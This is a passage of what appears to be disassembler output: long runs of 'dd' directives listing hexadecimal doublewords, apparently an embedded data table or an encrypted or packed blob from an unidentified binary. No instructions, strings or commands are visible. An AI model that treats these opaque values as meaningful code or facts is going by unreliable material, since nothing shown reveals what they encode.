0BFB280C9h dd 0C370714Ah, 6BA27B76h, 3261083Ah, 84EAB729h, 0AA870DD6h dd 0B18EDD64h, 95BC4A74h, 8AD2C5F1h, 0B978BCC4h, 0D165D030h dd 76001F22h, 983DBF9Ah, 5EEDE61h, 16B21478h, 948E63D9h dd 7D82B695h, 85E5689Ah, 587D8E43h, 21BF4199h, 0EE265CC3h dd 0E1B67001h, 0CFF902B7h, 0F8D9611h, 876B78B3h, 0CB5F5985h dd 0E08EE96Eh, 0F5090240h, 362ED90Eh, 0AA5ABB75h, 0D016E71h dd 8A11DA0Dh, 8DDCDDE6h, 9B4F365Dh, 1C3D5E8Dh, 0D198421Fh dd 0E4815C7h, 5EB72E21h, 0BF626DB7h, 0AF7BD617h, 2C7DA1CDh dd 0CD5A6819h, 0DEC10AFDh, 12C0D436h, 0F7841651h, 9FB68AC8h dd 42D86804h, 0B6A90BCFh, 542C0DA5h, 0F531914Dh, 3B2F14EFh dd 1E79F1EEh, 884CBA57h, 434D4FBFh, 0D9ABFB25h, 0CDB6264Ah dd 53C5ED39h, 8192DD74h, 35B381F1h, 64785906h, 0D88E9D50h dd 0C99803B6h, 61FFC5Fh, 6BD8D114h, 0A704291Eh, 0A5AD6872h dd 0E478AB22h, 0E37F921Bh, 0A15C7A1Bh, 0EE7688D3h, 76926284h dd 0C5F2053Ah, 7E4FF1A1h, 3F33D588h, 0D2E460CBh, 0B3D8B696h dd 0F3783591h, 58A735D9h, 0E8987D58h, 78EBDB7Bh, 1965AEDEh dd 31DBA11Dh, 8550CAFBh, 259EE0DEh, 452EF20Dh, 63EDF3E6h dd 8440F3BDh, 0EA91DDA0h, 3CE14F57h, 0BA2BDA13h, 360574EDh dd 1043AD0Ch, 99E1A85Eh, 1B210E22h, 4426D754h, 0E9C65DE6h dd 239293D9h, 0CD27F49Fh, 0A990A573h, 55E55A65h, 1052157h dd 98E933C3h, 0F62957E6h, 22A380C2h, 0BD0565BDh, 97FDCC83h dd 8DE5CB7Eh, 0A28931F6h, 930B8D06h, 0FBE64A05h, 80388054h dd 43BF32BCh, 36993D9Fh, 0DA37F783h, 0DAD4361Ch, 0BEB8EFEFh dd 8E80AB9Ah, 0D2A17D2Ah, 0F5AAED04h, 54D9D53Eh, 6E5AB269h dd 0C1F4A669h, 69A291F8h, 0EEF5E9BAh, 0D847B23Dh, 47173ADCh dd 0C3C7AAF3h, 38FBCB07h, 23815C08h, 4FFA2222h, 616BEDEAh dd 804F6F9Eh, 0B4DB1719h, 0E7CD4617h, 0A602E226h, 0C6AA1A91h dd 0A3A4FFD1h, 0EC73FE74h, 819E0B87h, 0A8C88Fh, 6894868Dh dd 240D81E3h, 50465711h, 94662474h, 0B1318DEh, 0E1634159h dd 0ED83D9AEh, 0DC3C5C6h, 0F9CB4611h, 2113FEAEh, 0E6E70033h dd 0A6FAEAEBh, 0C21E991Ch, 5443BE7Dh, 5F533D9Ch, 815C0E98h dd 61E7AF1Fh, 2F73CBC3h, 460448BFh, 0F4C9F3Eh, 0DC1411E6h dd 9196732h, 0F141A6B5h, 55B15CB0h, 764D6399h, 5429AA2Ah dd 43191A78h, 9FCE5534h, 102C11D7h, 0C416EE97h, 7F75400Ah dd 0EAB0BDC4h, 18EF20Ch, 0A42ED4E5h, 84F39EC8h, 43EAADCEh dd 0F470C25Fh, 0C97E7CF3h, 0CDB86505h, 6EAA6D2Eh, 411FB2F1h dd 0FE840A3Fh, 3BD60791h, 0A0280AE4h, 373B3FDFh, 0C70F82CFh dd 1757FDEEh, 0B37DBE3Ah, 0F5B87A18h, 0ED0CA8F6h, 80F9643Bh dd 0FCAE1ADFh, 53A8D796h, 1BB7AD7h, 1A1DE974h, 0DD8887B3h dd 704DBD74h, 0C0527236h, 0BCF7BD48h, 0AB1A8856h, 0BE05E963h dd 0F673459Eh, 0F887659Eh, 0A3E08235h, 0DAE829B2h, 0E0C94ECEh dd 15F1AD0Dh, 0E9D5268Bh, 19675E03h, 1241277Fh, 6A12A0E8h dd 2E1A3317h, 3E17F3DAh, 0D8C4E051h, 9202D8Fh, 19E7A336h dd 48EDC29h, 0FFB4FD2Dh, 91431A8Ch, 9F71AE06h, 6E24C84Eh dd 0B93F0232h, 49452A2Bh, 9CDF6518h, 581F2793h, 81E1C47Fh dd 0A6F922F3h, 308D4B6Ah, 0FA6369EBh, 60C5257Ah, 137B9A04h dd 16869857h, 71918AFEh, 9F6270E5h, 0BCE09F71h, 58CEA528h dd 70B58C67h, 3F0FC37Bh, 0A088CF6Ah, 92739161h, 137005A5h dd 34F35F5h, 3A1D3737h, 3F6D9EFBh, 8ACD00EFh, 29A29C13h dd 4D0BD697h, 0A0C09405h, 694C0C6Bh, 2A7467F4h, 16826CC8h dd 175854A0h, 0DF824446h, 0EAB0E280h, 41544444h, 8F86EFF8h dd 6601B5Ch, 0C7A01F1Dh, 5B6BF1Ch, 0BF18B322h, 0D7EB6651h dd 122BD96Ch, 89991979h, 527D2E8Dh, 40881DA2h, 51BF2E19h dd 220EDFBFh, 0DC341E59h, 9D9E3C12h, 3FDFD171h, 0EC7449D4h dd 844B5BE5h, 0A6F84051h, 19D0B5E4h, 2C6063B6h, 0BFA5FA42h dd 0AE17E73Eh, 0E51836D9h, 0DD27936Bh, 4904D567h, 0E393AF2Fh dd 0DB0889D9h, 477261F6h, 969E5185h, 1E497170h, 0AACA4CCCh dd 76A2394Fh, 0C6865BB1h, 78C0A365h, 0B492876h, 9BA50358h dd 6D4169F7h, 7750F103h, 0A17BC9F2h, 0E3FA393Ch, 0E73F646h dd 0BE45EB55h, 58927210h, 95DD8E16h, 2720E45h, 0BE97B4CEh dd 5CB20882h, 0A6A2B4FAh, 96EAD4ECh, 732C3051h, 75D6D2DDh dd 41D82FC8h, 0DBD7898Ah, 8245486Fh, 28A34F7Eh, 31FFA11Bh dd 0C98D4DA1h, 82556687h, 0F9E5E02Ah, 0A7076EA2h, 45439FCDh dd 4BD252FAh, 64955889h, 0F7C5FD25h, 7D0E348Fh, 2A226897h dd 88B98F57h, 2327152Bh, 8B41A742h, 3CBAF867h, 693A5D00h dd 0A294E52Ch, 0E2960BD0h, 11EACBF3h, 0DFFCBB62h, 0D8F5544Eh dd 9A833C4Bh, 4E9D70D9h, 7F5B3261h, 71E8A617h, 7472EC08h dd 34E20CECh, 40D7127Fh, 2F089293h, 0F64973BEh, 22CFC2CDh dd 0B401A603h, 92BC74A2h, 0D9A0736Eh, 17FF3B4Fh, 198DE080h dd 0B4EB34Ah, 62B59E22h, 33A72038h, 2B362266h, 0FD263AC8h dd 0AA755747h, 4872A283h, 3664AE76h, 0F48F4558h, 44ECE254h dd 96CAA8B8h, 0EBB35B5Ch, 4C804C08h, 0C0DDA730h, 212E65BFh dd 0E5AE24F3h, 32C9B0B4h dd 8DE5354Ah, 0BDBF606Ah, 487EA989h, 725B0398h, 245DB2E3h dd 8E797B08h, 2D4E227Fh, 8F4BDE14h, 921D7EAEh, 4D2CF0ABh dd 0DDB3FCFFh, 0ED9F35E6h, 0D62050EBh, 0ADD7D61Eh, 74E81CBCh dd 627922F1h, 70D235h, 0E426452Eh, 7901D1BBh, 0CEDFE9B5h dd 0F02A5376h, 80555E0h, 9AA4BFF5h, 4BE9C58Fh, 36EAFE1Fh dd 7CEAE298h, 9D23C2FDh, 568272D0h, 50296775h, 853ABB4Ah dd 0BDA174D5h, 0F65919DBh, 221D3BCDh, 3BB9F5E3h, 0EDD617A6h dd 0A0BFD1EAh, 0E104703Fh, 0F48D61D7h, 0CBB6169Bh, 0BD87EC82h dd 77BDD091h, 0C9513CC8h, 4EEC4362h, 472CDF9Fh, 0FBB1A37Dh dd 0D400CA55h, 0E2907FA9h, 0FEFECEC2h, 0CAB94ED1h, 403BDA38h dd 95CB3CEAh, 0B40E03E2h, 11DB6ECAh, 0E6394962h, 0D0A713B5h dd 0D9F7E0A2h, 27616CA7h, 83965865h, 7E554354h, 99868AEh dd 0A3CB493Ah, 6D8B2A87h, 0F92F46C5h, 57856E78h, 9E6DE069h dd 5C108C0Eh, 33E26214h, 30A10259h, 0B9456930h, 2338656Ah dd 321D1427h, 9D8D69D0h, 6F9F8D24h, 68B9EB0Eh, 0E844D927h dd 972C282Dh, 0B0B5874Fh, 0E7BC8D74h, 17967FCAh, 9F705AD4h dd 2505011Ah, 0EFB76EB5h, 0DE004BA7h, 16F88FCBh, 5C3ABE86h dd 0CAEBF2EBh, 34584CC0h, 16475EB9h, 5D53C917h, 0E85DCB48h dd 71ACBF8Ah, 6FB8271Dh, 0FD819ED0h, 245ACCDBh, 0D0A8F74Eh dd 0E072C28Eh, 0D0309DEAh, 9DD9A18Ah, 1E611795h, 405B4883h dd 0F796A996h, 4BBBECE5h, 9C60CD57h, 0E0CCE8FBh, 35CE91C8h dd 963D1318h, 844DDEE5h, 14EC00DCh, 4DFB53E2h, 11CE6FAAh dd 5A81BBD5h, 40273FA9h, 0AD57312Dh, 13F1E285h, 572AE71Eh dd 675ED2FDh, 3BB891F9h, 52A5A91Ch, 0DC4C7847h, 0F1FBC343h dd 10338A73h, 25E4FA50h, 402B4B46h, 6454AF18h, 0F7A7806Ah dd 0F6D3A704h, 0E77DABF6h, 51CC17CDh, 9D979C7h, 5EE119C5h dd 98BAC855h, 0E061FEFh, 0B198A20Bh, 0DB6C5B48h, 1004AEB7h dd 0DBFA449Fh, 1C9B4A22h, 0B6A83591h, 6F3350B4h, 0C5CDE65Dh dd 0D4B74CBFh, 0C187E862h, 77408069h, 805D815Ah, 9F786C20h dd 1696393Ch, 0EF9F716Dh, 93C38FA3h, 0C78CD960h, 6FBD9045h dd 7381B78Eh, 0D63B0963h, 6C793498h, 6EEA1140h, 71536C77h dd 0C8277FA5h, 0D63E6899h, 0B81BCCF5h, 9BA3AF04h, 37C7DB00h dd 0D0A655AFh, 3EA49A09h, 3B613DFAh, 3E6E7369h, 0F3EC784Bh dd 0B3A7A46Bh, 0CF9AB240h, 137EF969h, 0BA9B2DC3h, 60222230h dd 0DF066AF4h, 0DF32F454h, 51B2D777h, 327D4AD1h, 0B1D26BB0h dd 288B26F7h, 8590C150h, 0C23DDBD7h, 0F74B7951h, 98FC76D2h dd 0A76527FAh, 5B664600h, 0EFBA81Fh, 0AC36F0ACh, 947419E7h dd 0A909ADBEh, 0C7CD54A8h, 3A17DFA9h, 86C2EB37h, 7C9C3EC9h dd 65978A3Fh, 8CAF96F3h, 0C23F60FAh, 3139279Eh, 3D8402D0h dd 0D8F45507h, 0FAE87A9Ah, 0DE35ACA0h, 0F3B26AEDh, 0B0EB6A7Fh dd 3D1CDF83h, 6A9293DCh, 42722F1Ah, 8D1CB511h, 0BA66096Bh dd 51770599h, 0BF0D7925h, 0A3F1C251h, 0A23B5E4Dh, 0F147AF92h dd 9E9DCF5Ah, 69F3B0B4h, 14F71DD3h, 0BA876D7Fh, 0B2BC7625h dd 58178209h, 6A294508h, 57E4876Ch, 0FE2E9C4Bh, 0D4DC4769h dd 71087BC7h, 1A60A291h, 8E6DDD4Eh, 6AF56A9Eh, 1E4FB9AEh dd 21896176h, 2D2A838Fh, 3373811Eh, 0A3958518h, 633B020Fh dd 26A81C9Eh, 78BF6555h, 630FE96Ah, 1642456Eh, 98F33E23h dd 5DD5B38Bh, 48C4FF5Dh, 6E4B0724h, 0C7AD45E8h, 0F8BB48F4h dd 0B7550C25h, 12A514E8h, 0D6C20AF1h, 77EB839Eh, 511FBC7Ah dd 39731F97h, 0ACCEE7C0h, 0D04E6128h, 0B8CDE067h, 0C242BAABh dd 0DF2F951Bh, 0ACA7A9D3h, 8278965Bh, 0FDB95D99h, 0CF76468Eh dd 7979097Dh, 0C299EA05h, 97B04E13h, 0B32E49F3h, 536094A0h dd 0F66474A2h, 0EE8D2A1Bh, 1C2788F3h, 8C49AA07h, 4C37A657h dd 0A3315101h, 0BC77C608h, 0DE46EE21h, 78E79A95h, 0BD8C6C22h dd 241605F3h, 2829C660h, 237F3E92h, 0EFBB2BADh, 0D349EF78h dd 8DF6F82Fh, 0E1BE5BC6h, 3CC4B578h, 44A8F97Ah, 0CB9B1622h dd 0E1553847h, 0D89F4BADh, 5DBB2C69h, 6A8103F0h, 0FA7780E3h dd 0EF87C0C6h, 788C7660h, 197F3CBBh, 6ACFDD2Fh, 3D7DF8D6h dd 8BB4283Ah, 44EA74E3h, 0A3CDA2DFh, 0C75D5923h, 0CA9786EAh dd 6186936Dh, 0D5A9A81Bh, 16BEE6F7h, 9C8E3D4Fh, 6C91D802h dd 0AE065505h, 0D1FF7D57h, 0A88F58B0h, 2069A688h, 48FB4A42h dd 0A49A7E4Ch, 3EA349A0h, 7B5595D3h, 693045BFh, 839AC6F3h dd 0A15911Ch, 84CFB23Eh, 430F201Ch, 0AF156576h, 0E217B34Ch dd 0ED300688h, 412CF20Ah, 0FDFEECB9h, 48F83FA6h, 70FF37B9h dd 0D36CD8E3h, 192A673Dh, 0BBAFCB61h, 0FCAAA050h, 0FCD88B0h dd 1A8B6F07h, 287E331Bh, 645C7947h, 38BBF35h, 513DE401h dd 12490AD2h, 948873F5h, 68790671h, 13FB4491h, 54B3212Fh dd 26F592B8h, 91F5D5C6h, 51B8CDEFh, 0E1CD3146h, 6A31C7C7h dd 1FEE3564h, 683BC7D3h, 0A403FE6h, 0CB1FF9FFh, 0A5066004h dd 0B8930BC1h, 0AE203721h, 519553D2h, 1FC8429Ch, 0BB0EFA49h dd 4924C975h, 0C2A038EBh, 4D4D87C4h, 22691D0Ah, 0E4F7DE26h dd 4185A443h, 72DDB52Dh, 11DCE6Bh, 1CA1BE19h, 50DD3D23h dd 67CF1B97h, 79D2F722h, 9D1DC3D3h, 1287DCE1h, 504F14A4h dd 0ACB8DCCCh, 0B5067C81h, 0BACAE12Fh, 4ED70DA3h, 69E73AE8h dd 0A588B7A2h, 73ADB579h, 0E325226Fh, 0E21F6EFAh, 0DB137683h dd 11DD05A4h, 0C5CBF7CEh, 697D2703h, 1D5B2Fh, 0EC187069h dd 980AD056h, 0D2FFB52Ch, 6961871Dh, 0B3411FDDh, 0F644E00Ah dd 825E1668h, 31BB3BF1h, 7F67E586h, 5114F7F4h, 7975CF70h dd 4ECA42AFh, 4CA0E071h, 78093D46h, 0B5FA1994h, 45A6D5E7h dd 70F72C5Ah, 1F7248C1h, 0A43640FCh, 685B1667h, 0B872EB5Eh dd 0D89A734Bh, 59771AC9h, 0B20D6DD4h, 0AF71A419h, 0CB545E40h dd 7BAF9044h, 3B9F1639h, 553DF90Eh, 0F23EC102h, 0EEEBADA2h dd 0DA766A8Fh, 0A7CDC553h, 0AB505DA2h, 5536D977h, 8B7C38A0h dd 0A29FAA0Eh, 0BA87E6h, 0C1EB4620h, 0BA828583h, 0B2C93084h dd 0D03375E2h, 0E9F896EFh, 48046403h, 0B4483C89h, 7B65EFDDh dd 78E1840Ah, 91C1AD7Bh, 1FB535A5h, 0F10CF146h, 6FE1003h dd 0D1B706F0h, 53E08F82h, 7720D6AFh, 6CC31383h, 18F4725Ch dd 7233E2Dh, 679D98A9h, 0F954485Eh, 71EFB2B7h, 0E3BE4D63h dd 0E847B9BAh, 75BD6E0Ah, 0E39A4B3Ch, 0E0EC75B2h, 0D9DF2707h dd 4B46DFF9h, 38A12023h, 6F2E0A1Ch, 18674AEh, 58EE47CDh dd 0BD419AE2h, 0E31EC79Bh, 9CB05AA6h, 0C5BC5E01h, 7888502Bh dd 0D2E45BFh, 7271BFC0h, 2DC3935Eh, 0BD4F1054h, 954F08A0h dd 41CE4F8Dh, 0A555D4B9h, 5DA001B8h, 8EAD12C3h, 85ED79ADh dd 0FCEEBA30h, 87D7ABD6h, 13D27692h, 0CB615C88h, 0E0835A90h dd 6A7310DAh, 69A947E9h, 4922146Fh, 15AFDB8h, 9159A5C7h dd 0FBA51B45h, 0D670726Ah, 0E4E08540h, 0CF73800Dh, 4F950A4Fh dd 69C5C674h, 1D9E51A9h, 288AE320h, 3AF0174h, 2712F0EBh dd 0DC88F75Eh, 11B5270Fh, 9D455496h, 0F8B0BED7h, 775E9133h dd 0EF960CD1h, 0F443EE10h, 0E3A4A387h, 0EDE4978Bh, 6F979AEEh dd 0C4D7ED18h, 0D69E787Ah, 1BA75A05h, 720291EBh, 1B59590Ah dd 82EE4AEh, 0CDD657F7h, 42E64538h, 0E069E2Fh, 0CDF32385h dd 40AD6BB2h, 8B209FF8h, 2BF82607h, 6D1E867Fh, 2BBC440Ch dd 58E3E390h, 0B0A7F0AAh dd 0F97ED755h, 1E360BF0h, 4255AE4Ah, 870B3B88h, 57978E05h dd 139811C3h, 48CB840Fh, 0AD7BF31h, 9A401B2Fh, 3785A154h dd 0E5A9B3F5h, 4327FE8Eh, 8C062F15h, 7ACD730Fh, 1A45FB77h dd 4E0D0616h, 7DB07E60h, 0ECABE21h, 0B5DEB83Ah, 11A87BEDh dd 94AE22E3h, 4F1DEC7Dh, 6C813BCAh, 770BDD41h, 1A37A054h dd 0CAEFDEE6h, 371D947Ah, 0BB3A78DBh, 9C9C04F8h, 22101220h dd 0ADBEF3E8h, 96DEE6B7h, 0FE2C8DABh, 0CEA40698h, 0D6C4590Fh dd 70832705h, 0D9886F1h, 17554B85h, 8B946903h, 34B9631Ch dd 0C03EC442h, 8261EBF8h, 0EAD48DA4h, 0FCD417A0h, 3239E3F9h dd 36489069h, 55F734B8h, 60F8916Dh, 0AB5887h, 524D7C74h dd 0B2162286h, 5B20A79Dh, 0AF8CC6ABh, 21A8DFF0h, 150F314Dh dd 9968EDDBh, 94F97B10h, 74275376h, 0F11B80FDh, 687AE01Ch dd 4484345Ah, 99ED7EEh, 86E8535h, 0E2773EEFh, 0AADC48h dd 0C1D15567h, 60B78A98h, 0A656E04Bh, 0B5F26D71h, 6C7CBB39h dd 6F9F49E2h, 5E37DF73h, 0FA47C990h, 19305273h, 0F2B75F01h dd 8AF9714Ah, 15B4C418h, 18D64E8h, 334E4AE1h, 0D3DC4524h dd 5489FF0Ch, 0FA90B65Fh, 0F0205D5Dh, 0BCB6354Dh, 641D9D8Dh dd 0ED2671D5h, 2EF78BE4h, 0AB1C73CBh, 7D22C0EAh, 43EC81D7h dd 6663EEC6h, 1B6B8455h, 0D9C943DEh, 76C37981h, 0B2919CCFh dd 0E9DF3E83h, 40F90FFh, 2E8C02A1h, 43570F53h, 453139Ah dd 7B9B68E6h, 0FF689FA7h, 36DA3DD9h, 33469C85h, 0BF2DE7E3h dd 0A3324908h, 0B72B39E9h, 0A2F44CF7h, 0BC9D2714h, 0E27D2F1Bh dd 3CD01B54h, 0BABB6EA2h, 0C08B524h, 6E4C533Ch, 0C763A6A3h dd 4F7531A7h, 0DAE328AFh, 70CF94E6h, 8FC4CC26h, 9EFEBB84h dd 216D0EEDh, 285F668Fh, 794BD74Ch, 4112D04Dh, 0E4500A0Dh dd 66EE13A2h, 0E97C312h, 64F01564h, 4964CFF5h, 5B5BA9B1h dd 849EC2Fh, 0ED513C41h, 0C926AB84h, 0F2A5E75Fh, 88D8F34Ch dd 209D07D7h, 0A75E3A49h, 6F73C982h, 0C2546412h, 0C6BB647Ah dd 0E7E88D67h, 7C313A58h, 3406BE33h, 569A2221h, 0C4258B77h dd 0F07C3CF4h, 0CBBC02D9h, 0F9FE2E1Eh, 52B8E1D7h, 0D805A7DAh dd 8B721576h, 0E19EB530h, 5EB35680h, 0B2AC20ABh, 9028C272h dd 71898864h, 73E68F27h, 3889EE72h, 8EE83541h, 78E4F2D3h dd 0EE9AE766h, 0BE6005E7h, 0D39520B2h, 4D59AF61h, 0B103DDE0h dd 0D9466D20h, 64F30D3Fh, 0CDFE9DDBh, 5F33CAC4h, 0EF826D07h dd 937847EDh, 0B490479Dh, 0B4AA543Ch, 7EFBC256h, 0BBE51356h dd 0BA47BA82h, 823A1AC2h, 3F049CCBh, 6D80158h, 0A90D7A44h dd 6A9B806Eh, 0C3F47939h, 80FA168Ah, 5B10D8C1h, 816FAF15h dd 0A33DBF0Eh, 8A379660h, 67BDF96Bh, 0C862F525h, 69DEF8BCh dd 2304AC4Dh, 0DB5D9610h, 0CE7E8824h, 10863C74h, 3EC79575h dd 0FB08601Fh, 0AEF64335h, 18A2A977h, 0B0661E92h, 9F24217Dh dd 0DCBABC74h, 0F9583336h, 68DD938h, 91D56562h, 0D9EC95ADh dd 3995F3CFh, 8CAD5A88h, 523B216Ah, 0E979D88Ah, 32CB47F7h dd 397F4A2Bh, 2DEAC67Ch, 91D40ADBh, 0C1B4B530h, 0C9443E74h dd 5F3ABFB3h, 3282A4D3h, 0D3FDEh, 9DB87A4Fh, 324AAAA6h dd 0B9FBD5FEh, 0DCD34444h, 9E2CD13Eh, 5F251FF1h, 27DBC878h dd 5E9E72DAh, 1C42A60Ah, 0D8BC486Bh, 0B1E65699h, 0AD392C18h dd 9B9558F6h, 6EC6C42Fh, 0C04C21E2h, 8DB04FE9h, 0A47BBC3Ah dd 59DA724Ch, 0AEF9C28Eh, 6714BFDFh, 3E2B3FC3h, 0DFC81047h dd 1879B4C5h, 80EBEBF0h, 0A3ECA824h, 66C05B70h, 78C48E81h dd 4F25BB83h, 0D347126Ah, 0E33F7646h, 9E425A96h, 635A9AF2h dd 0B690FCE1h, 0AC3D4BB8h, 52BBA5F2h, 0BDC53C6Dh, 0DBA3340Eh dd 0F53A7Ah, 0AE3F943Eh, 0C849D25Fh, 25F2E7D6h, 6439D1DCh dd 9BAE54C9h, 0CB586142h, 490DD462h, 0C2767022h, 0F77C47DFh dd 0DBB32FF2h, 9A23F9FDh, 693A00A4h, 6E98DCC0h, 0AACB9DD6h dd 1D391899h, 2A64D8ACh, 0B92E537Ah, 397FBD3h, 342E86A3h dd 2C0B09FEh, 0C851219h, 0DF98F556h, 107117F4h, 0F32B52EEh dd 0AB58C4B0h, 9703145h, 0FDBEBBE2h, 2DF8B262h, 0ADE5A706h dd 2F64FC6h, 9C47F3ABh, 774B50A7h, 0E8E8D3A1h, 0B7263627h dd 0F520FA20h, 45205096h, 0C408AB6Dh, 0EA48AC11h, 7AFF46DCh dd 0CF6B034Fh, 5C7AA134h, 0C7544F06h, 0E16FBD5Eh, 9FBA419Eh dd 5C8232h, 3554EF0Ch, 99536FE3h, 910AD71Dh, 83C10120h dd 25417D4h, 981FA36Bh, 27C11A1Eh, 0A8258335h, 0D52BF5C6h dd 0FA5EAED6h, 0B810A27Eh, 0E4109966h, 84278332h, 0E08AB7B2h dd 0A2BBE41Eh, 4AAEDA8Fh, 3FC46929h, 0A5334AE5h, 5CA840FCh dd 793A2A98h, 2A651B31h, 59F1993Eh, 6198A720h, 210BD3C7h dd 0DD986E49h, 0BA13FEB5h, 0E64D0D14h, 0DB24E48h, 719506C3h dd 0F806D4D1h, 0A8104FE4h, 1137EB93h, 20618D90h, 0B25E972Fh dd 65D32081h, 0B924AB61h, 0BCEBCA49h, 0D40285D0h, 0FA7C63A1h dd 76404137h, 0B50AA370h, 0C29F9EF1h, 8836204Ah, 0E4726FD8h dd 92EBBD28h, 0A3CE8419h, 0A1F54C07h, 0C281931Ah, 2AE3E835h dd 0A946D2h, 0FA1B4483h, 0AD3362CBh, 0ABB3607Eh, 7EFB3142h dd 5E6F8E3Ch, 8E1A0A83h, 3AACF790h, 2B52028Bh, 5F9BB520h dd 0B36D52E2h, 8E83024Bh, 27E9242Fh, 0A1E6FE87h, 39BF1239h dd 130F8096h, 541C33D2h, 0CF84BDFCh, 1796B3E3h, 73AE82FDh dd 0BDB78BFAh, 0E3508C18h, 509AF47Bh, 406502D5h, 8492FED9h dd 54DBB7ABh, 383EB03Dh, 0B2D137ECh, 7103ED8Ch, 3AD1363Dh dd 18F1FF9Fh, 0E25938B2h, 97614443h, 0E9F185Eh, 0BF6526BAh dd 0BC59869Eh, 0BDEC4635h, 59DFBB7Bh, 0E1D4440Dh, 8FD51A52h dd 0B02DDF3Bh, 0CCB6F18Dh, 0AA6BEE3Ch, 531B911Fh, 30AA0635h dd 810BB157h, 0DE425B45h, 26E7DCF5h, 0EFC455E3h, 963C44FEh dd 8BA88786h, 0A79B1BDEh, 0C04E8970h, 0EF8EFBC4h, 9C507DE5h dd 4D5F7B75h, 0A9EE20D8h, 0CA924C34h, 0F9305FC8h, 7AC0B4B7h dd 88469B0Dh, 39701561h, 787AA155h, 0B462B129h, 0A19123A0h dd 0B2EB38BBh, 827A14B4h, 0A648A796h, 0ECB39EFDh, 8D260290h dd 59FD4D9Ch, 57805F8h, 0A5D983A2h, 8FFFC9ADh, 7CA7ED9Eh dd 0CE4361A7h, 978FF525h, 0FB4C28DCh, 99C05D87h, 8B1748B4h dd 0BA07078Dh, 2A7B1488h, 1F381ECBh, 0DB4BCFDDh, 92AAD483h dd 0CB430B98h, 0ED47FB9Eh, 33389885h, 57D1CFB6h, 99527C2Dh dd 0DB7083EFh, 0E535365h, 0AD20D6C5h, 1FCD238Ah, 0C59E88FFh dd 7E3A3DCCh, 6818320h, 0FEAE9C69h, 0DF5C5162h, 7D5C8A2h dd 22FE14C9h, 0C877CC53h, 0C157145Bh, 161D8835h, 0A6F6A03h dd 0A44DA8FCh, 85164BA0h, 226CAE1Fh, 0E98FF154h, 0BBEF9B3Ch dd 643AA6BBh, 858641C8h, 0ED089497h, 21A055AFh, 0A2F5DFFEh dd 0B4E3B96Bh, 3625C69Ch, 78830A21h, 0CE965483h, 623AEAE7h dd 2DE6CC43h, 4C9BD34Ah, 535BA2B5h, 6F3D4D97h, 0E27C7DD4h dd 640F1567h, 6A8A1043h, 90053095h, 0B128CF00h, 5A7B9D1h dd 0C7C39001h, 0C2B6F24Ch, 0F84D270Dh, 0F798FA5h, 16E51A94h dd 3B34316h, 23F6B937h, 0E28955ADh, 0AE73B4Ch, 0A670C3E2h dd 87DDC2FFh, 9E473CD3h, 0E78E81E0h, 62BF4A40h, 0C89015B7h dd 0B51DCEA9h, 9DDB702Ch, 61578BA6h, 181B8E45h, 593D6034h dd 81922102h, 0BF9C0ECCh, 22882F19h, 7D174FABh, 8601B5F1h dd 4169D935h, 61BBDD48h, 810A84F4h, 0E13E80BFh, 286FFDA5h dd 0FC687AA7h, 7F83B608h dd 0C5B64F98h, 0EBA542E2h, 96911647h, 6B05FB55h, 0BC916239h dd 8188C4A6h, 0BF25697Ah, 0B8517ECDh, 91869B0h, 24003BC6h dd 7048CF10h, 0C0566C2Dh, 0D0D93854h, 0F9E95F3Eh, 3ADD3742h dd 0DC6065F9h, 6C0923D1h, 0B3D2E04Bh, 5AD4AB02h, 8B958D32h dd 578BEA8h, 79956507h, 5EFB3B5Ah, 615AF403h, 7F94BFA1h dd 0DA13A04Ch, 9BEA0B29h, 0D6321CB2h, 5FC879DFh, 4CE4D40Dh dd 1A096B34h, 5A13393Ch, 0D8210AF2h, 6DF6A6B8h, 0E4F82119h dd 0E6EECF55h, 87846BDh, 8D1FFAAAh, 5E1BC460h, 6C7FC6ADh dd 0A19BA36Bh, 73D878EFh, 16F3B026h, 55C52008h, 0B98DD191h dd 0FA8757D6h, 940B4AFh, 1184D46Dh, 0CB98CFFDh, 52D3DBCAh dd 797B5329h, 59237537h, 32D6DA49h, 380A5B29h, 1A9E95A2h dd 7601C0F6h, 97FEB8A9h, 0C3464E83h, 36DBC164h, 59AB718Eh dd 0FB376D2Bh, 0F67AD191h, 5F6A887Ah, 79FF4268h, 0A0C59E81h dd 474D2E8Eh, 0C1B1DA3Eh, 6AB10DE1h, 0B62B7291h, 0F3955012h dd 5F9033C0h, 9ECF91C8h, 2CD5E513h, 7837239Fh, 69325183h dd 0FAF19BF3h, 531E54CFh, 33104AB2h, 0E76EE1C2h, 475986F8h dd 76058A5Fh, 0B7444CD6h, 82103B0Fh, 0BC17FE0h, 5FAFCA9Fh dd 0F19BFA0h, 0C1B415A1h, 0ABAAA6B8h, 4CA969E4h, 0AAC6B977h dd 52A72076h, 746A0257h, 3B215E2Ch, 0BB57C903h, 517F77D0h dd 510E8993h, 0DC16876Dh, 88F04FE5h, 601700E1h, 0A7B58EEEh dd 6BCCAAF6h, 36078B59h, 41D5E7DDh, 50A89472h, 3EC8D1B8h dd 0B393040h, 9EF25326h, 0DB281A08h, 1A166134h, 625FF6DCh dd 0D3962C1Eh, 78C7BB72h, 0E7894400h, 5CD724FCh, 0BE5ED904h dd 0FE1D25D3h, 0A6E5D635h, 0D3241D95h, 7860EC34h, 85C9C571h dd 0CC77BCB7h, 117E720Ch, 37893110h, 0AB4F1570h, 0ED560070h dd 7CECBFDBh, 7973307Ch, 0F47C3E19h, 0DB235930h, 0D25E05EDh dd 0B58A9798h, 875BA11Eh, 0C822008Eh, 0D2950520h, 345E6E2Fh dd 0EE7F3DDCh, 0B1ACC5ECh, 0F40CE605h, 0CAAD8E38h, 645EE40Dh dd 39F23B3Dh, 891A2E45h, 8B331A5h, 99E97F82h, 10F4A962h dd 20E775ACh, 0A11C16Dh, 0F14911D9h, 8DC0D3EAh, 39BEA727h dd 0A09F360Dh, 0ECB3DE8Fh, 707B99ACh, 0A0FF29DEh, 3C6FE256h dd 0D61D88FFh, 0B958A1B9h, 46992C0Dh, 91F8FBFEh, 68C6872Dh dd 38EC7143h, 0CF266819h, 0E3293FFBh, 0D3480EF7h, 24FA5306h dd 1883DE54h, 6E8C920h, 0A75B3767h, 0C0E744B4h, 9168A050h dd 71B268AAh, 0AC7813B8h, 0FA47269Ch, 9BFEB70Ah, 5EDE88ECh dd 0FAEDB153h, 511BDEB5h, 37CCCCA8h, 851B0D7Fh, 169C2C68h dd 411C8D4Fh, 0E7F48C31h, 582A76F5h, 0BCF483EDh, 0EDFE56ECh dd 5EA31293h, 0AB99F68Ah, 406729F3h, 98F3F9DAh, 2AD4959Ah dd 7B8E5404h, 0DE360269h, 5E4F0C8Ah, 241717CEh, 